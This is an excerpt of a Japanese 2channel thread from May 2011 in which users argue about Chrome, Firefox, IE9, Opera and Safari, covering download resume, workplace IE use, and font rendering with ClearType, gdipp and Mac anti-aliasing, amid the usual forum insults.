Gmailの情報流出の際、全てWindowsが悪いと発表しちゃうのもGoogleクオリティw
おおかた、自称ITリテラシーの高い奴が、FWオフ&アンチウイルスもいれずに使っていたんだろうw



347 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:05:55.49 ID:C5JZifSd0
もうアホ過ぎて話しにならない。誰もそんな話をしてるんじゃないんだよ
回線の接続が切れたりなんかしてキャンセルに
なった時のことを言ってるんだよ

そもそもなんだよ、一時停止ってw
何の為にあるんだよw
一時停止→再開 まさかこんなのをレージュームなんて
言ってる奴がいるとは思わなかったw

>>332
アホと違って頭良いね
ギガクラスのダウンロードはすぐ終わるといっても
光接続の人だけでしょ。家みたいなADSLだと結構時間がかかるから
拡張機能欲しいけど需要ないんだね


348 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:08:24.96 ID:C5JZifSd0
レス番つけ忘れ >>347の前半は>>330へのレスね

349 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:16:12.22 ID:C5JZifSd0
>>330
しかも、Firefoxのアドオンで可能なレジューム機能と
ChormeやIEでできる一時停止→再開(笑)が同じだと思ってる低脳っぷりw 
恥ずかしいなw

350 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:25:40.10 ID:swo8QlcZ0
連レスの方が恥ずかしいよ

351 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:34:44.29 ID:Nvb//AAI0
早く寝なさい


352 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:41:21.55 ID:zDJPQw940
>>344
ああ、その程度ならいいのよw
独自ビルドというのもあるし、自分でやることも面倒だができなくもないから
Chromeのイヤなところはなにやってるのかわからんところさ

353 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:41:54.54 ID:UfGoHtzT0
ageるカスは死ね

354 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:46:57.17 ID:sXIPfNJh0
>>347
回線細いのであれば、
サードパーティーのダウンローダ使えばいいじゃん。
使えないならともかく、使えるし、
速度でないのであれば、DL速度の出る専用の使ったほうがいい。


355 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:51:19.43 ID:YglHXWEu0
ズームがスムーズに出来るOpera以外は全てクソ

356 :名無しさん@お腹いっぱい。:2011/05/27(金) 22:55:39.58 ID:Nvb//AAI0
なんか小蝿が騒いでるな

357 :名無しさん@お腹いっぱい。:2011/05/27(金) 23:28:37.44 ID:CWbwedVU0
>>355
Operaの軽快さには見事なものがあるな。
Chromeもスムーズだけれどレンダリングが汚いからそりゃ速いだろと
しか思えない。

358 :名無しさん@お腹いっぱい。:2011/05/28(土) 09:58:24.04 ID:ORn66DiZO
クロムが他のブラウザと比べてレンダリングが汚いと思った事は一度もない。
速いと思った事は15回くらいある

359 :名無しさん@お腹いっぱい。:2011/05/28(土) 11:09:34.22 ID:0TaxBYjy0
単独では何もできない IE9 クォリティに満足しているやつなんているのか?
M$ 社員以外だろ

360 :名無しさん@お腹いっぱい。:2011/05/28(土) 11:10:28.87 ID:0TaxBYjy0
>>359
ぶ。M$社員以外いないだろ・・・

361 :名無しさん@お腹いっぱい。:2011/05/28(土) 11:18:57.32 ID:AKErnh/g0
遊びで使うだけならchromeも悪くないが
仕事で使うならIEはどうしても必要。
ニートには関係ないか。


362 :名無しさん@お腹いっぱい。:2011/05/28(土) 11:33:27.15 ID:x+PoxMEC0
>>354
Firefoxも帯域調整できるけど、サードパーティー製の方が速度でるかな?
Choromeは糞すぎてFirefoxの1/5くらいしかダウンロード速度が出ないw

それと、FC2みたいな特殊なサイトはブラウザ経由orキャッシュに保存されたのを抽出するしか
方法がないのでブラウザでのダウンロードが必須なのです

363 :名無しさん@お腹いっぱい。:2011/05/28(土) 11:59:18.81 ID:R1Me3xpR0
ちょろめwwwwwwwwwwwwwwww

364 :名無しさん@お腹いっぱい。:2011/05/28(土) 12:49:36.35 ID:AvIb4a9mP
IE9は仕事用としても駄目なような

365 :名無しさん@お腹いっぱい。:2011/05/28(土) 13:24:38.13 ID:0TaxBYjy0
>>361
既に先進国では仕事でも IE 使われなくなってきてる事実w

366 :名無しさん@お腹いっぱい。:2011/05/28(土) 13:35:43.54 ID:5dGg3SNa0
>>365は日本国を後進国呼ばわりする売国奴ということが分かった

367 :名無しさん@お腹いっぱい。:2011/05/28(土) 13:51:05.62 ID:pn6lVeJvP
Chrome OSはセキュリティが万全説にアナリストが疑問を呈す http://jp.techcrunch.com/archives/20110527analyst-argues-against-googles-chrome-os-security-promises/

また当たり前なことを言ってるお お馬鹿だお

368 :名無しさん@お腹いっぱい。:2011/05/28(土) 13:54:23.62 ID:9o7D1oKZ0
>>366
日本は先進国の面と後進国の面があるだろ
IT関係は後者

369 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:00:23.55 ID:ocZo/fne0
>>368
後進国という程でもないよ
世界に通用する物も、それなりにはある訳だし

370 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:09:28.61 ID:2Mg/H0UG0
後進国にはならないが、衰退が確定的に決まっている衰退国ではある

371 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:17:20.66 ID:6n9GmLtu0
日本は

×法治国家
△放置国家
◎呆痴国家

372 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:29:11.26 ID:9o7D1oKZ0
>>371
正解だな

373 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:41:04.41 ID:X0kkY5lX0
>>366
自国を批判したら売国奴か
売の意味知ってるか?

374 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:47:37.41 ID:PogWKXme0
>>373
自分の国を批判する奴に売国奴が多いのは事実

375 :名無しさん@お腹いっぱい。:2011/05/28(土) 14:50:38.97 ID:0TaxBYjy0
ていうか、別に批判さえされてないのに。
>>366 は論理の飛躍しすぎ。ガキか頭悪いかどっちかだろう。

376 : 忍法帖【Lv=10,xxxPT】 :2011/05/28(土) 14:53:26.18 ID:MurnCIeD0
 発 者 同         . 。_   ____           争
 生 同 .じ     .    /´ |  (ゝ___)          い
 .し 士 .レ      .__/'r-┴<ゝi,,ノ   ro、      は、
 .な で .ベ      浴T (ゝ.//`   ./`|  }⌒j     
 .い し .ル        } ⌒ /`ヽ、_様,ノ ・ヽ´
 .! ! か の       /  ´..:.} >、、___,  .r、 ソ、`\
             /   ..:.:.}   /   |∨ ` ̄
            /   ..:.:./    |   丶
           / _、 ..:.:.:.{    .{.:.:.   \
          {   ..:Y  .ゝ、   {.:.:.:.:.    ヽ
          |、  ..:/ 丿 .:〉   >.- ⌒  .  ヽ
          / {. ..:./ ソ ..:./  .(    ..:.:.:`  ..:}
         ./..:.:}.:.:./ ヘ、 ..:./   .\ ..:.:r_,ノ、.:.:}
        ./..:.:/|.:/   {.:./     X.:.:}.}   X X
        /..:.:/ .}.:|    }:/       .Y丶ヽ  Y.:Y
  . __/.:/ { }  《.〈、     _,,__>.:》丶   Y.:\
  /.:.:.:.:.::/   !.:.:ゝ  ゝ.:. ̄ヾ ´:.:.:.:.:.:.:.:.:ヾゝ   \.: ̄>

377 :名無しさん@お腹いっぱい。:2011/05/28(土) 15:04:00.40 ID:XOhdC8M90
IEのシェアが100%近い韓国に対する遠回しなdisだろ
日本人らいしな

378 :名無しさん@お腹いっぱい。:2011/05/28(土) 15:19:31.63 ID:9nH3wFwS0
やっぱりopera遅いな
これ速いって言ってる人はシングルコアのCPUだろ?

379 :名無しさん@お腹いっぱい。:2011/05/28(土) 15:44:56.52 ID:g4IOOVWYP
>>360
IE9クオリティに満足というより、ブラウザごときにそれ以上を求めて色々インストールして時間を無駄にしてるのが笑えるだけじゃね?w


380 :名無しさん@お腹いっぱい。:2011/05/28(土) 17:19:27.04 ID:3tksfxRM0
老害XP厨同士の醜い争い

381 :名無しさん@お腹いっぱい。:2011/05/28(土) 18:00:28.06 ID:XOhdC8M90
そうとうVistaで虐められたんだろうな…

382 :名無しさん@お腹いっぱい。:2011/05/28(土) 18:36:36.89 ID:qPl+QKuE0
>>379
アホだろ、お前
ブラウザだけを立ち上げればすむのに別のアプリ起動させたりその都度工夫する方が時間の無駄だ

383 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:06:51.98 ID:AKErnh/g0
>>364-365
そうは言っても、職場のウェブ上のデータベースとかIEしか対応してないものも
多いから。Firefoxだと給与明細すら見られなくなった・・・。

それでも何となくFirefoxのほうが手に馴染む感じで使い勝手がいいので、それ
以外ではよく使ってる。でもときどきJavaの動きが悪く、IEのお世話に・・・。

>>378
Operaは遅いPCだと素直に遅くなるよ・・・。ところで、マルチコアでOperaが遅く
なる理由って?


384 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:14:23.12 ID:g4IOOVWYP
>>382
そもそもネット閲覧ごときに工夫などしない。
別のアプリも使わない。もちろんプラグインなどのお世話にもならない。
IE一択、余計なアプリはパソコンに入れる気もない。
もちろんIE9など、自動アップデートされるまで入れない。

そもそもFirefoxやChromeを入れてどのくらい便利になるのか。
5分の仕事が1分になるわけでもない。
俺はまわりには、このスレにいるようなFirefoxやChromeの便利さを熱弁してきながら
職場のパソコン(IE以外禁止)の挙動にイライラして半分ブチ切れてるのがいるんだが、
そいつを見てると精神障害でもあるのかと疑いたくなるよ。

そんな事よりやることあるんじゃね?って思うわ。


385 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:17:59.79 ID:AvIb4a9mP
こいつやばすぎ

386 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:20:26.03 ID:SyDfmTBi0
知らぬが仏やね
IEしか知らなければおかしいとも不便とも思わないし、背が伸びるし、もうなにもこわくない

387 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:25:27.21 ID:lXcF1xoj0
FxもChromeもOperaも使ってきたけど結局IE9に戻ってしまった。
XPの頃はレジストリ弄ったりFxのアドオン入れまくったりしたけど、
Windows7でSSDにしたらIE9のデフォ状態で快適すぎる。

388 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:25:44.45 ID:g4IOOVWYP
別に知らないわけはない。無知だったらこんなことわざわざ書かんさw
こんなスレにもこないだろ。

ブラウザごときに拘って、こんな無駄な事に時間を費やすのはいいが、それ以外にやることないのか?
と思うわ。

一種の拘りは精神病に分類されるんだぜ。統合失調でも煩ってるんじゃないか?
診察うけてこいよw

389 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:33:57.44 ID:AKErnh/g0
>>388
まあ、Firefoxの使い勝手がIE7以降に反映された面も多いから
いろいろ使って頑張ってくれる人の時間は無駄ではないだろう。


Chromeが人気な理由がもう一つよく分からん。ちょっと使うなら
軽くていいがタブをいくつか出したり動画をいくつか見たりすると
何故か重くなっていく。

基本モバイル用に開発してるんかと思ったけど、どうも携帯用の
Googleのブラウザは別物?


390 :名無しさん@お腹いっぱい。:2011/05/28(土) 20:58:43.06 ID:qPl+QKuE0
あれはただの宣伝攻勢だよ
俺は狐で重いHPを見る時にどうしようもなければIronを立ち上げてそっちで見る
プロセスが少ない時は確かに軽快だから
複数開いたり閉じたりしてると重くなっていくな、確かに

391 :名無しさん@お腹いっぱい。:2011/05/28(土) 21:01:01.14 ID:9LzYbSFA0
タブの作りの時点で大量にページ開くこと想定してないのは分かるだろうに……

392 :名無しさん@お腹いっぱい。:2011/05/28(土) 21:02:40.34 ID:7oFpGbOw0
FLASHのサイトを開いてるとたまにクラッシュして画面虹色で操作受け付けなくなる
その都度リセットボタン押して再起動してるからいつ起動しなくなるか不安になる

393 :名無しさん@お腹いっぱい。:2011/05/28(土) 21:20:47.27 ID:AKErnh/g0
>>392
そこまでひどくないと思うけど、言うほどChromeとFlashの相性はよくないな。

>>391
「タブの作り」がどうなんだ?見ただけではタブを開いていくと重くなるなんて
分からないと思うんだが・・・。


394 :名無しさん@お腹いっぱい。:2011/05/28(土) 21:28:38.52 ID:Gby930mX0
>>358
Chromeは以前はフォントがかすれて見えたのだけれども確認したら問題なかった。
しかし、よく見てみたらChromeが汚いことに代わりはなかった。
Tのあとの文字の位置を見ればわかると思うが、Chromeはフォントが保持する文字間隔
の情報を扱っていない。

Opera
http://www.picamatic.com/view/7589847_opera/

Chrome
http://www.picamatic.com/view/7589845_chrome/

395 :名無しさん@お腹いっぱい。:2011/05/28(土) 21:45:43.53 ID:AKErnh/g0
>>394
それ、Operaの機能かな?フォントの問題とかじゃない?そもそもそこまで詰まると
さすがに見やすくないような気が・・・。


396 :名無しさん@お腹いっぱい。:2011/05/28(土) 21:55:17.05 ID:L34KPF180
極端な例示をしてくれたんだろうから、見やすいかどうかは問題じゃない。問題は
>Chromeはフォントが保持する文字間隔の情報を扱っていない
てことだろ。これが本当だとしたら。
まあ、カラーマネージメントと同じく、極々一部の人が気にする程度だと思うけど

397 :名無しさん@お腹いっぱい。:2011/05/28(土) 22:01:51.04 ID:0TaxBYjy0
>>394
2つの比較だとどっちが正しいのかわからんから、
他のブラウザの表示も見せれ。

398 :名無しさん@お腹いっぱい。:2011/05/28(土) 22:02:51.72 ID:C4xs8pOG0
>>384
お前が馬鹿なのがよく分かる

399 :名無しさん@お腹いっぱい。:2011/05/28(土) 23:31:29.03 ID:Gby930mX0
>>395
Operaのカーニングを行う機能だ。フォントはどちらもDejavu Sansという
TrueTypeフォントを使用している。フォントの問題とかではない。

>>397
Firefoxはカーニングに対応している。
Fedora 15を使っていてIEは確認できない。たしか、IEもTrueTypeフォントの
カーニングに対応していたと思う。

Firefox
http://www.picamatic.com/view/7590021_firefox/

FirefoxはOpenTypeフォントのカーニングとリガチャにも対応していて
フォントのレンダリングに関しては他のブラウザと格が違う。

400 :名無しさん@お腹いっぱい。:2011/05/28(土) 23:52:42.24 ID:AKErnh/g0
>>399
Windowsだとフォントの問題もあって>>394のページで、デフォルト設定で
カーニングがかかるブラウザはないよ。

英文ページだとFirefoxはカーニングがかかる。他は何か設定を変えないと
ダメそう。でも別に必要な機能でもないかも。


401 :名無しさん@お腹いっぱい。:2011/05/28(土) 23:56:45.63 ID:tXv+WBy40
Fontうるさい人はMac使え

402 :名無しさん@お腹いっぱい。:2011/05/29(日) 00:18:25.31 ID:IqEHvSps0
Safariってフルスクリーンできないんだな

Windows Internet Explorer 9
http://www.uproda.net/down/uproda304480.png
Mozilla Firefox 4
http://www.uproda.net/down/uproda304476.png
Google Chrome 11
http://www.uproda.net/down/uproda304477.png
Opera 11
http://www.uproda.net/down/uproda304478.png
Safari 5
http://www.uproda.net/down/uproda304479.png

403 :名無しさん@お腹いっぱい。:2011/05/29(日) 00:46:06.36 ID:diQeszUQ0
>>402
Chrome醜いな

404 :名無しさん@お腹いっぱい。:2011/05/29(日) 00:47:25.76 ID:HObwoTc60
サファリはゴミ

405 :名無しさん@お腹いっぱい。:2011/05/29(日) 00:58:31.67 ID:KuPMRJc10
>>402
好みの問題かもしれないが、IE9 と Firefox4 は文字が細くて見にくいねぇ。

406 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:11:49.72 ID:IqEHvSps0
>>405
DirectWriteでの描画だからgdippが効かないんだよ
ClearTypeの仕様上小ポイントはアウトラインではなくビットマップでの描画だからギザギザ

407 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:15:51.27 ID:KuPMRJc10
なるほど。Windows に慣らされてきた人(例えば>>403)は、
アンチエイリアスの効いていない MSP ゴシック 
以外は醜くみえるのかな。調教済みって怖い。

408 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:17:43.35 ID:5OZgcSX20
これだからクソマカーは駄目だ

409 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:21:42.40 ID:wRKlYwG90
フォント厨は文句あるならもうmac()にしろ
Fx http://www.uproda.net/down/uproda304534.png
Chrome http://www.uproda.net/down/uproda304536.png
Opera http://www.uproda.net/down/uproda304537.png
Safari http://www.uproda.net/down/uproda304538.png

410 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:25:00.19 ID:IqEHvSps0
MacのQuartzとかカスだろ
>>402のSafariはQuartzだからOperaあたりのgdippと比べるといい

411 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:28:44.71 ID:rkIRHPJR0
>>400
Windowsを条件とするフォントの問題って何?
まさか、カーニング情報のないフォントを使用してカーニングされないといっているのか。

412 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:46:51.96 ID:7aF7/CSIP
>>405
完全に好みの問題だな
細いほうが見やすいだろ。

413 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:48:16.66 ID:VAqEJ0lW0
gdippとか苦労が絶えないな

414 :名無しさん@お腹いっぱい。:2011/05/29(日) 01:48:54.42 ID:sr8bdf+F0
無駄な努力を惜しまないのがハッカーさんなんですねわかります

415 :名無しさん@お腹いっぱい。:2011/05/29(日) 04:58:16.05 ID:vPja2LZ50
>>410
フォントの表示なんて所詮好みや慣れの問題だという事がまだ分からんのか
俺にはgdiなんとかでビットマップに未練たらたらで中途半端に調整されたキモイ文字よりも
MacやSafariの文字の形状の方が数倍綺麗に見えるぜ

416 :名無しさん@お腹いっぱい。:2011/05/29(日) 07:51:00.40 ID:gwX/fcEI0
そらそうだろうよ
winでどこまできれいに出来るか
ってのがgdi関係の設定の醍醐味だろが

417 :名無しさん@お腹いっぱい。:2011/05/29(日) 08:48:04.11 ID:FC/jUbsn0
Chrome 12.0.742.68 beta-m
Opera Next 11.50 alpha
Firefox 5 beta
なんかバージョン番号インフレ競争激化してるな


418 :名無しさん@お腹いっぱい。:2011/05/29(日) 09:18:15.20 ID:xXr9vsaY0
ソースコード書き換えるたびに1バージョン上げればいいんじゃね

419 :名無しさん@お腹いっぱい。:2011/05/29(日) 11:34:55.82 ID:shcAQQSB0
将来はバージョンも1000単位で上がったりしてな。

戦闘力…たったの5か…ゴミめ…

420 :名無しさん@お腹いっぱい。:2011/05/29(日) 12:03:08.24 ID:JyUXKLkg0
>>417
Fxが何だか焦ってるみたい
Firefox6 a2 (Aurora)
Firefox7 a1 (Nightly)

421 :名無しさん@お腹いっぱい。:2011/05/29(日) 13:20:38.29 ID:HObwoTc60
>>409
macって字がかすれて見づらいな・・・

422 :名無しさん@お腹いっぱい。:2011/05/29(日) 15:18:57.90 ID:F5ckmk5A0
狐愛用者だがバージョンナンバー争いは確かに馬鹿馬鹿しく見える

423 :名無しさん@お腹いっぱい。:2011/05/29(日) 15:47:00.63 ID:CFvd5djb0
よく知らない一般利用者から番号が小さいと遅れているように見えるから、
と言うことらしいけど、それなら製品名に年号付ければ良いじゃんと思う
バージョンナンバーはabout画面にだけ表示すれば十分
ナンバーのインフレはウザったい

製品名とバージョンナンバーを分離してGeckoのバージョンを使って欲しいくらい

424 :名無しさん@お腹いっぱい。:2011/05/29(日) 16:36:43.55 ID:bA+tSLSR0
ブラウザによって違うのかな?
http://www.amigo.in/hahahahahaha/oppai.html

425 :名無しさん@お腹いっぱい。:2011/05/29(日) 16:38:29.75 ID:DEt4PIi1P
真っ黒な画面が出たがブラクラか?

426 :名無しさん@お腹いっぱい。:2011/05/29(日) 16:43:59.67 ID:afnYdJ4U0
酷いURLだな

427 :名無しさん@お腹いっぱい。:2011/05/29(日) 22:19:25.72 ID:uDW2HTqE0
WinでClearTypeの調整ができるように
Macでもアンチエイリアスの調整はできる
かすれて見えているとするなら
その液晶とそのスクショで使われてる設定の相性が悪い

http://img402.imageshack.us/img402/1452/antialiasf.png

それに結局好みの問題があるわけで
gdipp系のソフトで突き詰めるのだって悪くはない

428 :名無しさん@お腹いっぱい。:2011/05/30(月) 04:34:04.58 ID:xq0fWgeg0
>番号が小さいと遅れているように見える
これ本当なのか
逆にバージョン番号がこんなに大きいのにこの程度のでき?とか思われないのだろうか

429 :名無しさん@お腹いっぱい。:2011/05/30(月) 04:48:12.93 ID:mTS57IE80
Macのスムージングが汚いのは表示解像が72dpiだから

430 :名無しさん@お腹いっぱい。:2011/05/30(月) 05:17:07.74 ID:0tLo5Sjf0
>>428
バージョンアップ詐欺ですね。わかります。

431 :名無しさん@お腹いっぱい。:2011/05/30(月) 07:57:58.01 ID:spSuyuLXP
ところで
IE、Firefox、Opera、Safari、Chrome。それぞれがシェアをとったときの最終目標ってなんなんだろう。

Chromeは、検索のための情報収集、そしてアプリの利用強化→最終的にWindowsのサポートを切る事で、脱Windowsをめざしそうな気がするけど。
OperaとかSafariの目的ってよくわからんのよね。


432 :名無しさん@お腹いっぱい。:2011/05/30(月) 08:04:54.81 ID:S0LTvsBh0
Safariは本来Macのデフォルトブラウザだから、Windows版は販促用じゃね?
販促として効果が出てる気は全然しないけど。

Operaは…どうなんだろね。組み込み機器向けに売ってるブラウザの宣伝用だろうか。
昔は広告付きブラウザで、外すのは有料だったからアフィ稼ぎの亜種みたいなもんだったんだろうけど。

433 :名無しさん@お腹いっぱい。:2011/05/30(月) 08:47:10.45 ID:FBjUunmL0
>>429
ディスプレイ上の解像度はブラウザの設定が解像度基準にでもなってない限り無関係
確かにMA Pゴシックなんかを有難く使ってるうちはMacの様な素直な調整は理解できないだろう

434 :名無しさん@お腹いっぱい。:2011/05/30(月) 08:58:03.11 ID:spSuyuLXP
>>432
Operaは制作者の自己マンだと思ってたけど違うのかw
ああ、そっか組み込み用で使われてたね。

435 :名無しさん@お腹いっぱい。:2011/05/30(月) 09:06:52.97 ID:LJsw/l8v0
MA Pゴシック……モビルアーマー?

436 :名無しさん@お腹いっぱい。:2011/05/30(月) 09:09:17.62 ID:dDErbigEO
>>433
Macの表示がどうして汚いのか、ちゃんと調べてごらん

437 :名無しさん@お腹いっぱい。:2011/05/30(月) 11:13:32.28 ID:FBjUunmL0
>>436
Macは字体の形が素直に出る表示だから良いフォントを使うほど差が出てくる 多少文字がぼやける欠点もある
gdi++等でくっきり調整された表示は、文字なんかハッキリ見えてAAさえズレなければいいとか
字が下手だったり目が悪くて文字のバランスや繊細な表現が分からない人向け

438 :名無しさん@お腹いっぱい。:2011/05/30(月) 11:15:14.66 ID:ptK+RQxx0
いつも思うんだけどなんでgdi++とか使うと線が太くなるの?
細いまま滑らかにするのって無理なの?

439 :名無しさん@お腹いっぱい。:2011/05/30(月) 11:49:24.28 ID:r5dvJmGh0
>>431
Chromeは独自のクラウドサービスの実験場に特化した環境を
Firefoxは今でこそアナーキーな存在だけど、Mozaicの本流を意識してるんじゃない?

440 :名無しさん@お腹いっぱい。:2011/05/30(月) 13:30:09.38 ID:xq0fWgeg0
>>438
無理
どうだ俺のフォント太くて最高だろ

441 :名無しさん@お腹いっぱい。:2011/05/30(月) 13:43:47.01 ID:MvEXSYGC0
>>438
別に太くなんてならないけど?
ウェイトが細いフォントならこんな感じだ
http://www.uproda.net/down/uproda305434.png

442 :名無しさん@お腹いっぱい。:2011/05/30(月) 14:21:23.79 ID:0R5m3NEb0
これは綺麗だな
やや字の色が薄いが

443 :名無しさん@お腹いっぱい。:2011/05/30(月) 15:05:03.96 ID:ScGufw/f0
>>441
ウェイトの小さいフォントが細くなるの当然だから、offの画像も載せないと
なぜ薄くなるかも見えてくるだろう

444 :名無しさん@お腹いっぱい。:2011/05/30(月) 16:09:32.95 ID:0tLo5Sjf0
>>441
おお、これは綺麗だ。綺麗だわ。

445 :名無しさん@お腹いっぱい。:2011/05/30(月) 16:31:50.30 ID:MvEXSYGC0
>>443
これで満足か?
http://www.uproda.net/down/uproda305493.png

446 :名無しさん@お腹いっぱい。:2011/05/30(月) 16:53:31.34 ID:0tLo5Sjf0
乙。ClearTypeはひどいな。

447 :名無しさん@お腹いっぱい。:2011/05/30(月) 16:55:06.10 ID:IeLT8jBR0
>>437
目が悪くて裸眼で普段から文字がぼやけてる人なら気にならないかもしれないけど
普通の視力の人は文字がぼやけるほうが気になると思うが

448 :名無しさん@お腹いっぱい。:2011/05/30(月) 17:11:30.75 ID:H4+EwaTT0
近視乱視持ちだけど>>445のアンチエイリアスなしが一番見やすい
アンチエイリアスある文字を見てるとよけい目が悪くなるな

449 :名無しさん@お腹いっぱい。:2011/05/30(月) 18:11:53.54 ID:ScGufw/f0
>>445

ほんとClearType酷い
gdi~もRGBで分割しつつさらに設定で解像を追うので、ウェイトの体裁を維持できても薄くなる

>>447
小さいのは体裁で無理せずボケた方が認識できるし、大事なのは字面
ただその理屈が通らないのが、フォントデザイン自体が不良なメイリオ

gdi~を入れる根気とヒラギノ角ゴがあれば、Windowsの方が奇麗というのも否定できないな
色々なフォントで12pt以下でも試してネチネチ比較してみるか…

450 :名無しさん@お腹いっぱい。:2011/05/30(月) 18:36:55.17 ID:RyYHOgJR0
>>445
gdipp灰色にしか見えないwww

なんだかんだでアンチエイリアスなしかClear Typeでいいや 不満もあるけど
ボケが多いと目が疲れそう、慣れもあるんだろうけど

ってか、実際フォントをどうにかするにはディスプレイのほうが大きく関係してそう
アンチエイジングを細かく出来るようになればフォントが滑らかで太くもならない

451 :名無しさん@お腹いっぱい。:2011/05/30(月) 18:44:35.89 ID:NnY375mX0
ClearTypeはそもそもメイリオくらいにしか使えなくないか

452 :名無しさん@お腹いっぱい。:2011/05/30(月) 18:57:00.71 ID:S3kkieNz0
Safariのフォントの滑らかさ設定は
CRT に最適 (白黒アンチエイリアス)

中 - フラットパネルに最適

Windows 標準
から選べるんだぜ

453 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:00:23.29 ID:CoXkxem40
ttp://www.microsoft.com/typography/cleartype/tuner/step1.aspx

ここでまず調整してみるといいよ

454 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:01:54.85 ID:+WihsOU00
>>431
別に脱Windowsは目指さないと思うぞ
GoogleにとっちゃWinだろうがMacだろうがどうでもいいだろ。
ChromeOSなんてChrome使ってもらえばいいわけだし。ローカルアプリも出してるし。

455 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:35:41.55 ID:0tLo5Sjf0
>>450
ああ。老化によって目の疲れが起こり、目の疲れによってフォントが汚く見えると
するならアンチエイジングをコントロールすることでフォントが綺麗に見えるように
なるかも知れないな。

456 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:37:43.38 ID:spSuyuLXP
>>454
個人情報の流出をWindowsのせいにし、それを公式発表し
社員にWindowsの使用を禁止させてるGoogleがか?
http://jp.techcrunch.com/archives/20100531google-windows/


457 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:40:44.84 ID:spSuyuLXP
>>455
なんかボケうんぬんより画面の解像度のほうが重要な気がしてきたよ。
うちは、画面解像度を2560x1440にしてブラウザは185%表示で使ってる。
高解像度で表示したほうが文字は綺麗なんだし。


458 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:49:44.43 ID:RyYHOgJR0
>>455
一瞬何がなんだかわからなかった
わかりにくいボケだな

459 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:56:17.29 ID:xsT8zEsn0
http://www.vivi-loda.mydns.jp/src/file677.jpg
IEで超見やすい。     

460 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:57:46.49 ID:xq0fWgeg0
>>458
お前自分の書いた文よく読んで見ろ

461 :名無しさん@お腹いっぱい。:2011/05/30(月) 19:59:28.36 ID:heDOA3rs0
>>460
へ?

462 :名無しさん@お腹いっぱい。:2011/05/30(月) 21:46:41.64 ID:RsuQBVOY0
ブラウザ終了し次回起動した時に、前回のタブや個々のタブの履歴まで残っている便利さでOpera使ってるんですが、Googleサービスとの相性でサブブラウザ、もしくはメインへの乗り換えを検討してます。

前回終了時のタブ、タブの履歴を毎回覚えててくれるのはありますでしょうか。お願いします。

463 :名無しさん@お腹いっぱい。:2011/05/30(月) 21:57:31.29 ID:RyYHOgJR0
いわゆる次世代ブラウザだったらみんな出来ると思うけど
FirefoxとかChromeとかIEも確か出来たはず

464 :名無しさん@お腹いっぱい。:2011/05/30(月) 21:58:44.77 ID:RyYHOgJR0
次世代ブラウザというよりかは四大ブラウザか

465 :名無しさん@お腹いっぱい。:2011/05/30(月) 22:00:41.00 ID:sJLcskeD0
>>462
消さなきゃどれも覚えてるよ。ただchromeはタブごとにプロセスになるので
タブブラウザとして設計がまずい。Operaはタブ周りの使い勝手が微妙に
他と違って使いにくい。逆に言うと他はFirefoxをそのまま真似てるな。


466 :名無しさん@お腹いっぱい。:2011/05/30(月) 22:05:49.17 ID:QrHYy1EX0
だが毎回使いにくいと言われつつ
いつの間にかどのブラウザもOperaのUIに近づいていくというジンクス

467 :名無しさん@お腹いっぱい。:2011/05/30(月) 22:08:22.66 ID:sJLcskeD0
>>466
どの辺が???Operaだけ細かいところでUIが違って乗り換えにくいぞ。


468 :名無しさん@お腹いっぱい。:2011/05/30(月) 22:11:08.74 ID:QrHYy1EX0
>>467
大まかなところは全部Operaになっちゃっただろ。

469 :名無しさん@お腹いっぱい。:2011/05/30(月) 22:23:06.65 ID:RsuQBVOY0
>>463 - >>468
皆さんありがとうございます。早速ダウンロードしてみました。久々に見てみたらChromeはアイコンが変わり、Firefoxは4になってるんですね。

どちらも設定で前回の状態を復元があって、いけました♪( ´▽`)

前までは他部の復元は出来ても個々のタブ履歴まではChromeとか覚えて無かった記憶があったので、今回教えて下さってよかったです。進化に驚き楽しみながら試してみます!

470 :名無しさん@お腹いっぱい。:2011/05/31(火) 00:04:55.04 ID:FRSUjytd0
IE9も試せよ

471 :名無しさん@お腹いっぱい。:2011/05/31(火) 00:41:52.32 ID:3DLyP8Df0
IE9 は色々不具合多いし、どこに不具合報告すればいいかわからんので
IE8 のままがベスト。

472 :名無しさん@お腹いっぱい。:2011/05/31(火) 03:10:24.01 ID:iaNetC88P
IEBlog


473 :名無しさん@お腹いっぱい。:2011/05/31(火) 08:54:14.25 ID:odcwSoX50
体感でIE9は3大ブラウザで一番遅いがIE9‐64bit版は使った人はわかるだろうけど
クロムをもぶっちぎる速さを感じる。
ただフラッシュが使えなかったり(使えるが自己責任で)なにか色々不具合がありそう。惜しい!ホントに惜しいよ

474 : 忍法帖【Lv=2,xxxP】 :2011/05/31(火) 08:55:08.95 ID:SUvBtBk00
>>466
